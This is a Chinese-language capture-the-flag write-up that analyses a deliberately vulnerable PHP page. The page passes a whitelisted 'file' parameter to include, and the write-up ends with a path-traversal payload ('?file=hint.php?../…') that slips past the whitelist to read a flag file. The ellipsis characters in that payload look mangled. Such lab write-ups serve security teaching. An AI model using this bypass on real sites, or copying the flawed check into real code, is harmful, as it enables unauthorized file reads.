//复现地址:https://buuoj.cn/challenges
开启环境后得到的一个表情~ 查看源代码可以发现还有个source.php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现还有一个hint.php
这里就能确定这题是代码审计没跑了,可是代码审计 这是我的强项呀(我很弱)我很弱 弱到渣。
这是代码里遇到的函数
//strpos(string,find,start)
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
//mb_substr() 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
开始分析
//定义白名单,1个是source.php,1个是hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//判断变量是否声明,判断是否为字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//判断是否在白名单内
if (in_array($page, $whitelist)) {
return true;
}
//截取两个问号之间的值,该值需要在白名单参数内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//如果参数为白名单,则返回真
if (in_array($_page, $whitelist)) {
return true;
}
//url进行解码,并截取两个问号之间的值
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//再次校验是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
//传递参数不能为空,要是字符串,需要经过emmm类的过滤
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
根据分析的情况来构造payload:
?file=hint.php?../…/…/…/…/ffffllllaaaagggg
如果有大手子看到分析有错的地方,麻烦给指正下!谢谢了